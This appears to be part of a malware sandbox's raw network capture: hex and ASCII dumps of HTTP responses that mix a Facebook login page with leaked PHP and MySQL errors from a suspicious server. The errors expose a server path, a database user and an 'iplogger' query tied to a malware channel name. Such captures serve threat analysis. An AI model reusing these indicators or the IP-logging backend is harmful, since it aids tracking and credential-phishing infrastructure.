22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 Data Ascii: "><div class=""><form id="login_form" action="https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110" method="post" novalidate="1" onsubmit=""><input type="hidden" name="jazoest" value="2944" autocomplete="off" /><input typ
2022-09-09 16:00:39 UTC	263	IN	Data Raw: 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 5f 73 6f 75 72 63 65 22 20 76 61 6c 75 65 3d 22 6c 6f 67 69 6e 5f 62 6c 75 65 62 61 72 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 6e 61 6d 65 3d 22 67 75 69 64 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 63 6f 6e 74 61 63 74 5f 70 6f 69 6e 74 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d Data Ascii: ="off" name="login_source" value="login_bluebar" /><input type="hidden" autocomplete="off" name="guid" value="" /><input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" /><input type="hidden" autocomplete="off" id=
2022-09-09 16:00:39 UTC	264	IN	Data Raw: 6f 6e 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 26 23 31 32 35 3b 22 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 3e 47 6f 20 62 61 63 6b 20 74 6f 20 74 68 65 20 70 72 65 76 69 6f 75 73 20 70 61 67 65 3c 2f 61 3e 3c 73 70 61 6e 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 20 c2 b7 20 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 6f 6d 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 Data Ascii: onversion":"1"}" role="button">Go back to the previous page</a><span role="presentation" aria-hidden="true"> </span><a href="https://www.facebook.com/" data-gt="{"target":"home","marketing_page_click&qu
2022-09-09 16:00:39 UTC	266	IN	Data Raw: 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 Data Ascii: r%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3C
2022-09-09 16:00:39 UTC	267	IN	Data Raw: 61 31 34 65 0d 0a 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 Data Ascii: a14eand\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b
2022-09-09 16:00:39 UTC	268	IN	Data Raw: 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 Data Ascii: 0'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0
2022-09-09 16:00:39 UTC	270	IN	Data Raw: 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c Data Ascii: iven%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'l
2022-09-09 16:00:39 UTC	271	IN	Data Raw: 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 Data Ascii: '\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr
2022-09-09 16:00:39 UTC	273	IN	Data Raw: 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 31 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 46 72 65 6e 63 68 20 28 46 72 61 6e 63 65 29 22 3e 46 72 61 6e c3 a7 61 69 73 20 28 46 72 61 6e 63 65 29 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 Data Ascii: \/font\u00253E", "www_list_selector", 1); return false;" title="French (France)">Franais (France)</a></li><li><a class="_sv4" dir="ltr" href="https://it-it.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20Th
2022-09-09 16:00:39 UTC	274	IN	Data Raw: 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 69 74 5f 49 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 Data Ascii: 3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("it_IT", "en_US", "https:\/\/it-it.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002
2022-09-09 16:00:39 UTC	276	IN	Data Raw: 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c Data Ascii: orebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\
2022-09-09 16:00:39 UTC	277	IN	Data Raw: 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e Data Ascii: denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarn
2022-09-09 16:00:39 UTC	278	IN	Data Raw: 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 Data Ascii: e.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u0025
2022-09-09 16:00:39 UTC	280	IN	Data Raw: 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 Data Ascii: \u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u
2022-09-09 16:00:39 UTC	281	IN	Data Raw: 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c Data Ascii: for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall
2022-09-09 16:00:39 UTC	283	IN	Data Raw: 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 Data Ascii: 00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resour
2022-09-09 16:00:39 UTC	284	IN	Data Raw: 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 Data Ascii: %20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E4
2022-09-09 16:00:39 UTC	286	IN	Data Raw: 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 Data Ascii: \/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520ins
2022-09-09 16:00:39 UTC	287	IN	Data Raw: 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 Data Ascii: 50A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520
2022-09-09 16:00:39 UTC	289	IN	Data Raw: 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 Data Ascii: 3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A
2022-09-09 16:00:39 UTC	290	IN	Data Raw: 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c Data Ascii: 20mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\
